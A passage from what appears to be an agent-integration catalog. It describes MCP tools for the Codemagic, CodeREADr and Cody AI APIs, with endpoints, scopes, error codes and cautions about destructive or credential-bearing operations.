/api/v3/teams/{team_id}/builds. GET /api/v1/codemagic/api/v3/teams/{team_id}/builds. Scopes: api. codemagic_get_api_v3_teams_by_team_id_cards (read) — List team cards via GET /api/v3/teams/{team_id}/cards. GET /api/v1/codemagic/api/v3/teams/{team_id}/cards. Scopes: api. codemagic_get_api_v3_teams_by_team_id_customer (read) — Get team customer via GET /api/v3/teams/{team_id}/customer. GET /api/v1/codemagic/api/v3/teams/{team_id}/customer. Scopes: api. codemagic_get_api_v3_teams_by_team_id_invitations (read) — List pending team invitations via GET /api/v3/teams/{team_id}/invitations. Team invitations are sent by email and accepted by their code. GET /api/v1/codemagic/api/v3/teams/{team_id}/invitations. Scopes: api. codemagic_get_api_v3_teams_by_team_id_invoices (read) — List team invoices via GET /api/v3/teams/{team_id}/invoices. GET /api/v1/codemagic/api/v3/teams/{team_id}/invoices. Scopes: api. codemagic_get_api_v3_teams_by_team_id_members (read) — List team members via GET /api/v3/teams/{team_id}/members. GET /api/v1/codemagic/api/v3/teams/{team_id}/members. Scopes: api. codemagic_get_api_v3_teams_by_team_id_previews (read) — List app previews for the team via GET /api/v3/teams/{team_id}/previews. App previews run a built app in a browser-hosted simulator. REQUIRES the team's `app_preview` subscription feature (`can_read_app_preview` / `can_start_app_preview`), which is off on this account: measured 2026-09-19 the team preview list answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). GET /api/v1/codemagic/api/v3/teams/{team_id}/previews. Scopes: api. codemagic_get_api_v3_teams_by_team_id_subscriptions (read) — List team subscriptions via GET /api/v3/teams/{team_id}/subscriptions. Billing lives on the team: subscriptions, invoices, cards and the Stripe-backed customer record. GET /api/v1/codemagic/api/v3/teams/{team_id}/subscriptions. Scopes: api. codemagic_get_api_v3_teams_by_team_id_subscriptions_by_subscription_id (read) — Get subscription details via GET /api/v3/teams/{team_id}/subscriptions/{subscription_id}. Billing lives on the team: subscriptions, invoices, cards and the Stripe-backed customer record. GET /api/v1/codemagic/api/v3/teams/{team_id}/subscriptions/{subscription_id}. Scopes: api. codemagic_get_api_v3_teams_by_team_id_subscriptions_by_subscription_id_invoice_preview (read) — Get subscription invoice preview via GET /api/v3/teams/{team_id}/subscriptions/{subscription_id}/invoice-preview. Billing lives on the team: subscriptions, invoices, cards and the Stripe-backed customer record. Answers 400 'Failed to fetch upcoming invoice for this subscription' when there is no upcoming invoice to preview (measured 2026-09-19 on a trialing subscription). GET /api/v1/codemagic/api/v3/teams/{team_id}/subscriptions/{subscription_id}/invoice-preview. Scopes: api. codemagic_get_api_v3_teams_by_team_id_subscriptions_by_subscription_id_invoices (read) — List subscription invoices via GET /api/v3/teams/{team_id}/subscriptions/{subscription_id}/invoices. Billing lives on the team: subscriptions, invoices, cards and the Stripe-backed customer record. GET /api/v1/codemagic/api/v3/teams/{team_id}/subscriptions/{subscription_id}/invoices. Scopes: api. codemagic_get_api_v3_teams_by_team_id_variable_groups (read) — List variable groups for the team via GET /api/v3/teams/{team_id}/variable-groups. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. GET /api/v1/codemagic/api/v3/teams/{team_id}/variable-groups. Scopes: api. codemagic_get_api_v3_tester_groups_by_tester_group_id (read) — Get a tester group via GET /api/v3/tester-groups/{tester_group_id}. Tester groups are the distribution lists app previews and builds are shared with. GET /api/v1/codemagic/api/v3/tester-groups/{tester_group_id}. Scopes: api. codemagic_get_api_v3_tester_groups_by_tester_group_id_contacts (read) — List contacts for the tester group via GET /api/v3/tester-groups/{tester_group_id}/contacts. Tester groups are the distribution lists app previews and builds are shared with. GET /api/v1/codemagic/api/v3/tester-groups/{tester_group_id}/contacts. Scopes: api. codemagic_get_api_v3_user (read) — Get the authenticated user via GET /api/v3/user. Returns the user's id and their permissions per team, keyed by team id (plus `personal`). This is also the endpoint a pasted token is verified against when connecting. GET /api/v1/codemagic/api/v3/user. Scopes: api. codemagic_get_api_v3_user_apps (read) — List apps for the authenticated user via GET /api/v3/user/apps. To list the applications belonging to a team, use codemagic_get_api_v3_teams_by_team_id_apps. An account with no repository integration has no apps (measured 2026-09-19: {"data":[]}); apps are added in the Codemagic console, not over this API. GET /api/v1/codemagic/api/v3/user/apps. Scopes: api. codemagic_get_api_v3_user_notifications (read) — Get notifications for the authenticated user via GET /api/v3/user/notifications. GET /api/v1/codemagic/api/v3/user/notifications. Scopes: api. codemagic_get_api_v3_user_preferences (read) — Get preferences for the authenticated user via GET /api/v3/user/preferences. GET /api/v1/codemagic/api/v3/user/preferences. Scopes: api. codemagic_get_api_v3_user_teams (read) — List teams for the authenticated user via GET /api/v3/user/teams. GET /api/v1/codemagic/api/v3/user/teams. Scopes: api. codemagic_get_api_v3_user_teams_by_team_id_permissions (read) — Get the authenticated user's permissions in a team via GET /api/v3/user/teams/{team_id}/permissions. The authoritative answer to 'why did that call 403': the permissions listed here are exactly what this token may do in the team, and a name from the contract's TeamPermission enum that is missing here (measured 2026-09-19: `can_read_analytics_dashboard` and the three `*_audit_log_connector` permissions) is a plan or role limit, not a credential fault. GET /api/v1/codemagic/api/v3/user/teams/{team_id}/permissions. Scopes: api. codemagic_get_api_v3_variable_groups_by_variable_group_id (read) — Get variable group information via GET /api/v3/variable-groups/{variable_group_id}. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. GET /api/v1/codemagic/api/v3/variable-groups/{variable_group_id}. Scopes: api. codemagic_get_api_v3_variable_groups_by_variable_group_id_variables (read) — List variables for the group via GET /api/v3/variable-groups/{variable_group_id}/variables. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. GET /api/v1/codemagic/api/v3/variable-groups/{variable_group_id}/variables. Scopes: api. codemagic_get_api_v3_variable_groups_by_variable_group_id_variables_by_variable_id (read) — Get a variable from the group via GET /api/v3/variable-groups/{variable_group_id}/variables/{variable_id}. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. GET /api/v1/codemagic/api/v3/variable-groups/{variable_group_id}/variables/{variable_id}. Scopes: api. codemagic_patch_api_v3_dashboards_by_dashboard_id (write) — Rename a dashboard via PATCH /api/v3/dashboards/{dashboard_id}. PATCH /api/v1/codemagic/api/v3/dashboards/{dashboard_id}. Scopes: api. codemagic_patch_api_v3_subscriptions_by_team_id_features (write) — Update subscription features for the team via PATCH /api/v3/subscriptions/{team_id}/features. Billing lives on the team: subscriptions, invoices, cards and the Stripe-backed customer record. Toggles subscription add-ons; `app_preview` is the feature the app preview tools require. PATCH /api/v1/codemagic/api/v3/subscriptions/{team_id}/features. Scopes: api. codemagic_patch_api_v3_tester_groups_by_tester_group_id (write) — Update a tester group via PATCH /api/v3/tester-groups/{tester_group_id}. Tester groups are the distribution lists app previews and builds are shared with. PATCH /api/v1/codemagic/api/v3/tester-groups/{tester_group_id}. Scopes: api. codemagic_patch_api_v3_variable_groups_by_variable_group_id (write) — Change variable group name and settings via PATCH /api/v3/variable-groups/{variable_group_id}. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. PATCH /api/v1/codemagic/api/v3/variable-groups/{variable_group_id}. Scopes: api. codemagic_patch_api_v3_variable_groups_by_variable_group_id_variables_by_variable_id (write) — Update the variable via PATCH /api/v3/variable-groups/{variable_group_id}/variables/{variable_id}. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. PATCH /api/v1/codemagic/api/v3/variable-groups/{variable_group_id}/variables/{variable_id}. Scopes: api. codemagic_post_api_v3_apps_by_app_id_tester_groups (write) — Create a tester group for the app via POST /api/v3/apps/{app_id}/tester-groups. Tester groups are the distribution lists app previews and builds are shared with. POST /api/v1/codemagic/api/v3/apps/{app_id}/tester-groups. Scopes: api. codemagic_post_api_v3_apps_by_app_id_variable_groups (write) — Create a variable group for the app via POST /api/v3/apps/{app_id}/variable-groups. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. POST /api/v1/codemagic/api/v3/apps/{app_id}/variable-groups. Scopes: api. codemagic_post_api_v3_builds_by_build_id_preview (write) — Start an app preview from a build via POST /api/v3/builds/{build_id}/preview. Answers 402 when the plan's maximum number of preview sessions has been reached. POST /api/v1/codemagic/api/v3/builds/{build_id}/preview. Scopes: api. codemagic_post_api_v3_invitations_by_code_accept (write) — Accept a team invitation via POST /api/v3/invitations/{code}/accept. Team invitations are sent by email and accepted by their code. POST /api/v1/codemagic/api/v3/invitations/{code}/accept. Scopes: api. codemagic_post_api_v3_ota_by_team_id_access_keys (write) — Create an OTA access key for a team via POST /api/v3/ota/{team_id}/access-keys. Over-the-air (OTA) updates are Codemagic's CodePush-successor plane: projects, deployment channels, releases and access keys. POST /api/v1/codemagic/api/v3/ota/{team_id}/access-keys. Scopes: api. codemagic_post_api_v3_previews_by_preview_id_share (write) — Share an app preview via POST /api/v3/previews/{preview_id}/share. App previews run a built app in a browser-hosted simulator. REQUIRES the team's `app_preview` subscription feature (`can_read_app_preview` / `can_start_app_preview`), which is off on this account: measured 2026-09-19 the team preview list answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). Creates a public id that lets anyone read the preview without a credential through codemagic_get_api_v3_shared_previews_by_shared_preview_id. POST /api/v1/codemagic/api/v3/previews/{preview_id}/share. Scopes: api. codemagic_post_api_v3_teams_by_team_id_invitations (write) — Create a team invitation via POST /api/v3/teams/{team_id}/invitations. Team invitations are sent by email and accepted by their code. POST /api/v1/codemagic/api/v3/teams/{team_id}/invitations. Scopes: api. codemagic_post_api_v3_teams_by_team_id_invoice_preview (write) — Generate invoice preview for chosen line items via POST /api/v3/teams/{team_id}/invoice-preview. POST /api/v1/codemagic/api/v3/teams/{team_id}/invoice-preview. Scopes: api. codemagic_post_api_v3_teams_by_team_id_subscriptions (write, destructive) — Create a team subscription via POST /api/v3/teams/{team_id}/subscriptions. Billing lives on the team: subscriptions, invoices, cards and the Stripe-backed customer record. Answers 409 when a subscription already exists (re-read the team's subscriptions before retrying: an earlier attempt with the same `idempotency_key` may already have created one) and 422 when the card or promotion code is declined. DESTRUCTIVE: Creates a PAID subscription and charges the card it names; the contract's own `idempotency_key` guidance ('an earlier attempt with this key may already have created one') says a retry can bill twice. POST /api/v1/codemagic/api/v3/teams/{team_id}/subscriptions. Scopes: api. codemagic_post_api_v3_teams_by_team_id_subscriptions_by_subscription_id_promotion_code (write, destructive) — Apply a promotion code to a subscription via POST /api/v3/teams/{team_id}/subscriptions/{subscription_id}/promotion-code. Billing lives on the team: subscriptions, invoices, cards and the Stripe-backed customer record. DESTRUCTIVE: Alters what the team is billed; a promotion code applied to the wrong subscription is not withdrawn by this API. POST /api/v1/codemagic/api/v3/teams/{team_id}/subscriptions/{subscription_id}/promotion-code. Scopes: api. codemagic_post_api_v3_teams_by_team_id_variable_groups (write) — Create a variable group for the team via POST /api/v3/teams/{team_id}/variable-groups. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. POST /api/v1/codemagic/api/v3/teams/{team_id}/variable-groups. Scopes: api. codemagic_post_api_v3_tester_groups_by_tester_group_id_contacts (write) — Bulk import contacts to the tester group via POST /api/v3/tester-groups/{tester_group_id}/contacts. Tester groups are the distribution lists app previews and builds are shared with. Not designed to sync updates in real time from an external database. Contacts are skipped rather than refused when they would exceed the account limit, have an invalid email, or are on an exclusion or bounce list; answers 402 when the maximum number of contacts has been reached. POST /api/v1/codemagic/api/v3/tester-groups/{tester_group_id}/contacts. Scopes: api. codemagic_post_api_v3_variable_groups_by_variable_group_id_variables (write) — Bulk import variables to the group via POST /api/v3/variable-groups/{variable_group_id}/variables. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. Creates every variable in the list at once; `secure` applies to the whole import. POST /api/v1/codemagic/api/v3/variable-groups/{variable_group_id}/variables. Scopes: api. codemagic_put_api_v3_teams_by_team_id_audit_log_connector (write) — Update Audit Log Connector settings for the team via PUT /api/v3/teams/{team_id}/audit-log-connector. The Audit Log Connector streams the team's audit events to the customer's own S3 bucket. REQUIRES the `can_*_audit_log_connector` team permissions, which this token's plan does not grant: measured 2026-09-19 it answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). The body carries the customer's OWN AWS access key pair for the destination bucket; they are the operation's input, not Codemagic's credential, and they will appear wherever tool arguments are recorded. PUT /api/v1/codemagic/api/v3/teams/{team_id}/audit-log-connector. Scopes: api. codemagic_put_api_v3_teams_by_team_id_customer_default_payment_method (write) — Set customer default payment method via PUT /api/v3/teams/{team_id}/customer/default-payment-method. PUT /api/v1/codemagic/api/v3/teams/{team_id}/customer/default-payment-method. Scopes: api. codemagic_put_api_v3_teams_by_team_id_memberships_by_user_id (write) — Update team membership for a user via PUT /api/v3/teams/{team_id}/memberships/{user_id}. PUT /api/v1/codemagic/api/v3/teams/{team_id}/memberships/{user_id}. Scopes: api. codemagic_put_api_v3_teams_by_team_id_subscriptions_by_subscription_id_default_payment_method (write) — Set subscription default payment method via PUT /api/v3/teams/{team_id}/subscriptions/{subscription_id}/default-payment-method. Billing lives on the team: subscriptions, invoices, cards and the Stripe-backed customer record. PUT /api/v1/codemagic/api/v3/teams/{team_id}/subscriptions/{subscription_id}/default-payment-method. Scopes: api. ================================================================================ ## CodeREADr URL: https://www.agenticfabriq.com/integrations/codereadr Section: Integrated Tools CodeREADr — 38 MCP tools Provider key: codereadr. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. codereadr_databases_addvalue (write) — Insert one new barcode value into a database, via action=addvalue. INSERT-ONLY, and that is the whole difference from 'Insert or update a barcode value': a value already in the database is refused with error 1027 rather than overwritten. Use this when a duplicate should be an error and `upsertvalue` when it should not. VALUES OVER 500 CHARACTERS ARE SILENTLY TRUNCATED to 500 with no error returned, so a long value is stored as something the scanner will never match. POST /api/v1/codereadr/databases/addvalue. Scopes: api. codereadr_databases_clear (write, destructive) — Delete every value in a database, keeping the database itself. PERMANENT AND UNFILTERED: there is no value, prefix or date argument, so this empties the whole database in one call. The database and its service links survive, which is the difference from 'Delete a database' -- and also why it is the more dangerous of the two in practice, since every service pointed at it keeps running and starts rejecting every scan. Answers a bare `1` with no count of what was removed. POST /api/v1/codereadr/databases/clear. Scopes: api. codereadr_databases_create (write) — Create an empty validation database, via action=create. Returns the new database's id. `case_sensitivity` IS PERMANENT: CodeREADr states that once the database is created this setting cannot be changed, so a database created with the default (case-INsensitive) cannot be made case-sensitive later -- it has to be recreated and refilled. A name already in use is error 216. POST /api/v1/codereadr/databases/create. Scopes: api. codereadr_databases_delete (write, destructive) — Permanently delete one database and every value in it. PERMANENT, and it destroys every barcode value the database holds. CodeREADr REFUSES to delete a database still linked to a service (error 205, 'Unlink those services from the database and try again'), which is a genuine guard -- but it protects the service, not the data, so an unlinked database with a million values is removed without further comment. 'Clear a database' empties one while keeping it and its service links. POST /api/v1/codereadr/databases/delete. Scopes: api. codereadr_databases_deletevalue (write, destructive) — Permanently remove one barcode value from a database. PERMANENT. Matched by the value itself rather than an id, against a stored value capped at 500 characters, so a longer string matches nothing and deletes nothing. One value per call -- there is no bulk delete and no `all` keyword here; emptying a database is 'Clear a database'. A value that is not present is error 1017. POST /api/v1/codereadr/databases/deletevalue. Scopes: api. codereadr_databases_editvalue (write) — Change the response or validity of an existing barcode value. Edits by MATCHING the barcode value, not by an id -- and the stored value is capped at 500 characters, so a longer string matches nothing. Only `response` and `validity` can be changed; unlike the upsert actions, `validity` here is left UNCHANGED when omitted rather than defaulting to valid. A value that is not present is error 1017. POST /api/v1/codereadr/databases/editvalue. Scopes: api. codereadr_databases_retrieve (read) — List the account's validation databases, via section=databases. A database is the list of barcode values a `database` or `ondevicedatabase` service validates scans against. `info_level` is a real performance control rather than a formatting one: the default reply counts the items in each database, which CodeREADr calls 'potentially costly', and `names` or `services` skips that count. POST /api/v1/codereadr/databases/retrieve. Scopes: api. codereadr_databases_showvalues (read) — Read the barcode values in a database, with search and paging. The read side of a validation database: each row is a barcode `value`, its `response` text and its `validity`. The four search fields pair an exact form with a `like` partial form and compose with each other. PAGE IT: a validation database can hold hundreds of thousands of values and there is no documented default cap on this action, so send `limit` -- and `offset` is honoured only alongside it. POST /api/v1/codereadr/databases/showvalues. Scopes: api. codereadr_databases_update (write) — Rename one database, via section=databases & action=update. Renaming is ALL this action does -- despite the `update` verb it reaches none of the database's other settings, and `case_sensitivity` in particular is fixed at creation. Both fields are required. A name already in use is error 216. POST /api/v1/codereadr/databases/update. Scopes: api. codereadr_databases_upsertmultivalue (write) — Write a batch of barcode values in one call, via action=upsertmultivalue. THE BULK-LOAD TOOL ON THIS SURFACE, and the substitute for the CSV upload action this integration does not ship (that one takes a real multipart file, which a tool call has no channel for). Up to 100 values per call. Each entry may name its OWN `database_id`, so one call can write to several databases; an entry with no local and no global `database_id` is SILENTLY IGNORED rather than refused. CodeREADr's wire format is `values[0][value]` and the connector builds that from the array sent here -- an entry is an object, not a bare string. Same 500-character silent truncation on every value. POST /api/v1/codereadr/databases/upsertmultivalue. Scopes: api. codereadr_databases_upsertvalue (write) — Insert a barcode value, or overwrite it if it already exists. The idempotent form of 'Add a barcode value': an existing value is OVERWRITTEN rather than refused, so its `response` and `validity` are replaced by what this call sends. Same 500-character silent truncation. For more than one value at a time use 'Insert or update up to 100 barcode values', which is one API call instead of a hundred. POST /api/v1/codereadr/databases/upsertvalue. Scopes: api. codereadr_devices_retrieve (read) — List the devices activated on this account. A device is a phone or scanner that has activated against the account; device ids are what 'List scans' and 'List scan uploads' filter by. There is no action to delete or deactivate a device on this API -- measured 2026-09-25, `devices` accepts only `retrieve` and `update`, and `delete` and `create` both answer error 110 ('Invalid action Parameter'). Renaming is the only write. POST /api/v1/codereadr/devices/retrieve. Scopes: api. codereadr_devices_update (write) — Rename one activated device, via section=devices & action=update. Both fields are required: this action renames and does nothing else, so there is no partial form of it. The name is what identifies the device in 'List scans' output, which is the reason to set it. POST /api/v1/codereadr/devices/update. Scopes: api. codereadr_limits_retrieve (read) — Read this account's API rate limits and what is left of them. The cheapest call on the surface and the one worth making first. Answers `` and ``; `-1` means unlimited. Exceeding the per-minute allowance is error 111 and the per-day allowance error 113, both of which arrive as HTTP 200 like everything else here. THIS IS NOT A CREDENTIAL CHECK and must not be used as one: with a wrong key or no key it answers `0` with error 101 ('The API key is missing.'), the SAME reply either way -- see the `probe_gap` on this provider's adapter. POST /api/v1/codereadr/limits/retrieve. Scopes: api. codereadr_questions_addanswer (write) — Add a choice to a multiple-choice question, via action=addanswer. Required for `option`, `dropdown`, `checkbox` and `webcollect` questions, which do not work without answers. `question_id` accepts a comma-separated list and `all`, so the same answer text can be added to many questions at once. Answer text must be unique within a question (error 1036); a failure to add is error 265. POST /api/v1/codereadr/questions/addanswer. Scopes: api. codereadr_questions_create (write) — Create a data-collection question, via section=questions & action=create. Returns the new question's id. CREATING IS USUALLY NOT ENOUGH: `option`, `dropdown`, `checkbox` and `webcollect` questions are unusable until answer options are added with 'Add an answer option' using the id this returns, and a multiple-choice question must keep at least two of them (error 206). The question is not shown to anyone until it is also attached to a service. POST /api/v1/codereadr/questions/create. Scopes: api. codereadr_questions_delete (write, destructive) — Permanently delete one or more questions. PERMANENT, AND IT TAKES `all`, which removes every question on the account. Deleting a question removes it from every service it was attached to. Use 'Remove questions from services' instead when the intent is to stop asking it on ONE service and keep the question. A question that cannot be deleted answers error 261. POST /api/v1/codereadr/questions/delete. Scopes: api. codereadr_questions_deleteanswer (write, destructive) — Remove choices from a question, via action=deleteanswer. Takes ANSWER ids, not question ids -- the one place in this section where that is true, and the ids come from 'List questions'. PERMANENT. A multiple-choice question must keep at least two answers, so removing the second-to-last is refused with error 206 rather than leaving a question nobody can answer; a failure to delete is error 266. POST /api/v1/codereadr/questions/deleteanswer. Scopes: api. codereadr_questions_retrieve (read) — List the account's data-collection questions. Questions are the data-collection form the app shows around a scan; they exist at account level and are attached to services with 'Add questions to services'. Unfiltered it returns every question. POST /api/v1/codereadr/questions/retrieve. Scopes: api. codereadr_scan_properties_create (write) — Attach a named value to scans, via section=scan_properties. Scan properties are arbitrary name/value metadata on a scan record, and what 'List or search scans' filters on with `with_property` and `includeProperty`. THIS IS ALSO THE UPDATE PATH: the provider's own reference heads a section 'Updating a Scan Property' and its entire body is 'Same as Creating a Scan Property', so setting an existing name replaces its value. `scan_id` takes a comma-separated list, so one call can tag many scans at once. Name and value are each limited to 100 characters, and BOTH ARE CASE-SENSITIVE here -- while the retrieve action matches the name case-INsensitively, which is the provider's own asymmetry and a real source of confusion. POST /api/v1/codereadr/scan_properties/create. Scopes: api. codereadr_scan_properties_delete (write, destructive) — Permanently remove one named property from one scan. PERMANENT, though narrow: one property on one scan, and the scan record itself is untouched. The name is CASE-SENSITIVE here, matching create rather than retrieve, so a name that reads back fine may not delete unless the case matches exactly. POST /api/v1/codereadr/scan_properties/delete. Scopes: api. codereadr_scan_properties_retrieve (read) — Read one named property from one scan. One scan and one property name per call -- unlike the create action, `scan_id` here is a single id. The name is matched case-INsensitively, which is the opposite of how create and delete treat it. To read every property on a scan without knowing the names, use 'List or search scans' with `showProperties=1` instead. POST /api/v1/codereadr/scan_properties/retrieve. Scopes: api. codereadr_scans_delete (write, destructive) — Permanently delete scan records by id. PERMANENT, and it destroys collected field data: a scan record carries the barcode, the response, the timestamp, the device and user, and every question answer attached to it. Unlike most delete actions here this one takes ONLY explicit ids -- CodeREADr documents no `all` keyword for it -- so it cannot wipe the account in one call. A scan that cannot be deleted is error 804. Confirm with 'List or search scans'. POST /api/v1/codereadr/scans/delete. Scopes: api. codereadr_scans_retrieve (read) — Read scan records, with the provider's full filter grammar. THE REASON MOST ACCOUNTS HAVE AN API KEY: this is the scan data. Each `` carries its device, service, user, status, the barcode value (`tid`), the response (`result`), a timestamp, one `` per question answered and, with `showProperties=1`, its scan properties. DEFAULT LIMIT IS 10000, which is the one default on this surface large enough to matter -- page with `limit` and `offset` rather than relying on it. TIMESTAMPS DEFAULT TO CODEREADR'S OWN TIME ZONE, America/New_York, NOT to UTC and not to the account's setting; send `timezone` explicitly, or the keyword `account` to follow the account holder's. `timestamp_received` and `timestamp_modified` do double duty: set to `1` each also REDIRECTS the date filters onto that column instead of the scan's own timestamp, and setting both applies the range to either with OR. POST /api/v1/codereadr/scans/retrieve. Scopes: api. codereadr_services_addquestion (write) — Attach data-collection questions to services, via action=addquestion. Attaches every id in `question_id` to every id in `service_id`; both take comma-separated lists and `all`. `condition` decides WHEN the app asks, and the default (`pre_submit`) is not always what is wanted. `required` is honoured only when ADDING, which is why it is not offered on the remove tool. POST /api/v1/codereadr/services/addquestion. Scopes: api. codereadr_services_adduserpermission (write) — Let app users scan against services, via action=adduserpermission. Grants the cross product: every id in `user_id` is authorised for every id in `service_id`. Both accept a comma-separated list and the keyword `all`, so `service_id=all&user_id=all` authorises the whole account for everything in one call. Read the result back with 'List services', whose `` elements are this wiring. POST /api/v1/codereadr/services/adduserpermission. Scopes: api. codereadr_services_create (write) — Create a scanning service, via section=services & action=create. `validation_method` is the only required field and it is the one that decides everything else -- three of its six values require a companion field and are refused without it. Returns the new service's ``, which is what every other service tool takes. THE WIDEST WRITE ON THIS PROVIDER: this surface has thirty-odd optional settings and several of them have effects outside CodeREADr -- `upload_email` mails scan data out after every upload, `postback_url` forwards every scan to a third-party server, and `enableGPS` collects the location of the people using the app. `enable_direct_scan` can only be set HERE: CodeREADr refuses it on update with error 223. POST /api/v1/codereadr/services/create. Scopes: api. codereadr_services_delete (write, destructive) — Permanently delete one or more services. PERMANENT, AND IT TAKES `all`. `service_id` accepts a comma-separated list and the keyword `all`, so a single call can remove EVERY service on the account -- and a service is what the scanning app connects to, so deleting one stops every device configured for it. CodeREADr publishes no recycle bin and no undelete action. Answers a bare `1` with no record of what was removed, so confirm with 'List services'. POST /api/v1/codereadr/services/delete. Scopes: api. codereadr_services_removequestion (write) — Detach questions from services, via action=removequestion. Detaches every id in `question_id` from every id in `service_id`, both accepting `all`. The QUESTION SURVIVES -- this unwires it from the service rather than deleting it, and 'Delete questions' is the tool that destroys one. Answers already collected are not touched. Not marked destructive for that reason. POST /api/v1/codereadr/services/removequestion. Scopes: api. codereadr_services_retrieve (read) — List the account's services and how each one validates scans. A service is CodeREADr's unit of work: it decides what the scanning app does with a barcode. Each `` carries its id, `name`, `validationmethod`, the `database` or `postback` it is bound to, `duplicateScanValue`, and a `` and `` element per authorised user and attached question -- which makes this the way to read the user and question wiring that 'Authorise users for services' and 'Add questions to a service' write. Unfiltered it returns every service. POST /api/v1/codereadr/services/retrieve. Scopes: api. codereadr_services_revokeuserpermission (write) — Remove app users' access to services, via action=revokeuserpermission. The inverse of 'Authorise users for services', with the same cross-product semantics and the same `all` keyword on both fields. NOT MARKED DESTRUCTIVE -- no user, service or scan is deleted and the grant can be reissued -- but it does take working scanners offline: a de-authorised user cannot scan against that service until authorised again. POST /api/v1/codereadr/services/revokeuserpermission. Scopes: api. codereadr_services_update (write) — Change one service's settings, via section=services & action=update. Omitted fields are left alone -- 'Variables omitted when editing a service will not affect their correspondent service settings' -- WITH ONE DOCUMENTED EXCEPTION that is easy to lose money on: `symbologies`. CodeREADr states that updating a service without sending `symbologies` RESETS it to the default set, so a call that means to change only the name also changes which barcodes the service accepts. Read the service first and resend the value. `validation_method` is NOT settable here: a service's type is fixed at creation. POST /api/v1/codereadr/services/update. Scopes: api. codereadr_uploads_retrieve (read) — List the batches in which on-device scans were uploaded. An upload is one batch of scans a device sent to CodeREADr, which is how on-device services deliver their data. The ids returned here are what 'List or search scans' takes as `upload_id`, so this is the way to pull exactly the scans from one sync rather than a date range. Read-only: measured 2026-09-25, `uploads` accepts `retrieve` and nothing else -- `delete` answers error 110. POST /api/v1/codereadr/uploads/retrieve. Scopes: api. codereadr_users_create (write) — Create a scanner-operator login, via section=users & action=create. `password` IS CONDITIONALLY REQUIRED and the condition is what the username looks like: if `username` is an e-mail address CodeREADr IGNORES any password sent and requires the user to set their own; if it is not an e-mail address the password is required (error 341). A username already taken is error 320, and an invalid one (spaces, heavy punctuation) error 340. THIS TOOL TAKES A SECRET AS AN ARGUMENT -- the password travels as a form field like every other value here, so prefer an e-mail username and let the person set their own. POST /api/v1/codereadr/users/create. Scopes: api. codereadr_users_delete (write, destructive) — Permanently delete one or more app users. PERMANENT, AND IT TAKES `all` -- 'You can also use the keyword all to delete all users', which removes every scanner login on the account in one call and stops everyone scanning. The account owner's own app user is protected and answers error 343 instead. There is no undelete. POST /api/v1/codereadr/users/delete. Scopes: api. codereadr_users_retrieve (read) — List the account's app users, via section=users & action=retrieve. An app user is a scanner-operator login for the CodeREADr mobile app, NOT a CodeREADr web-console administrator; the two are different populations and this section is the former. Unfiltered it returns every app user. POST /api/v1/codereadr/users/retrieve. Scopes: api. codereadr_users_update (write) — Rename an app user or change their password or device limit. Omitted fields are left alone. A `username` already in the system is refused (error 320). CANNOT TOUCH THE ACCOUNT OWNER'S app user: CodeREADr answers error 343, 'You cannot use this action to update or delete the app-user tied to the account owner'. Takes a password as an argument, with the same caution as 'Create an app user'. POST /api/v1/codereadr/users/update. Scopes: api. codereadr_users_validate (read) — Check an app user's username and password, via action=validate. Answers whether that username/password pair is a valid app-user login, for a caller building their own sign-in ahead of a scan session. THIS IS A PASSWORD ORACLE and should be granted deliberately: it takes a plaintext password as a tool argument and reports whether it is correct, so an agent holding this one action can test guesses against every app user on the account. IT DOES NOT VALIDATE THE API KEY and cannot be used as a connection check -- the two credentials are unrelated. POST /api/v1/codereadr/users/validate. Scopes: api. ================================================================================ ## Cody AI URL: https://www.agenticfabriq.com/integrations/cody Section: Integrated Tools Cody AI — 21 MCP tools Provider key: cody. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. cody_delete_conversations_by_id (write, destructive) — Delete a conversation via DELETE /conversations/{id}. PERMANENTLY DELETE a conversation and every message in it. There is no undo and no recycle bin in the API. An unknown id answers 404 rather than deleting anything. Deleting a conversation does not delete the documents it was focused on. There is no undo and no recycle bin: Cody AI's API offers no way to restore what this call removes. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. DELETE /api/v1/cody/conversations/{id}. Scopes: api. cody_delete_documents_by_id (write, destructive) — Delete a document via DELETE /documents/{id}. PERMANENTLY DELETE a document from the knowledge base. There is no undo and no recycle bin in the API; the bots that learned from it stop having it. An unknown id answers 404 rather than deleting anything. There is no undo and no recycle bin: Cody AI's API offers no way to restore what this call removes. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. DELETE /api/v1/cody/documents/{id}. Scopes: api. cody_get_bots (read) — List bots via GET /bots. List the bots on this Cody AI account -- each with its `id`, `name`, `description`, `model` and `created_at` (Unix seconds). Bots are created and configured in the Cody AI web app; this API only reads them. This is where a `bot_id` comes from: Create a conversation needs one. Optional `keyword` narrows the list to bots whose name partially matches it (measured 2026-09-19: `keyword=Creative` returned 1 of 2 bots, an unmatched keyword returned 0). The reply is 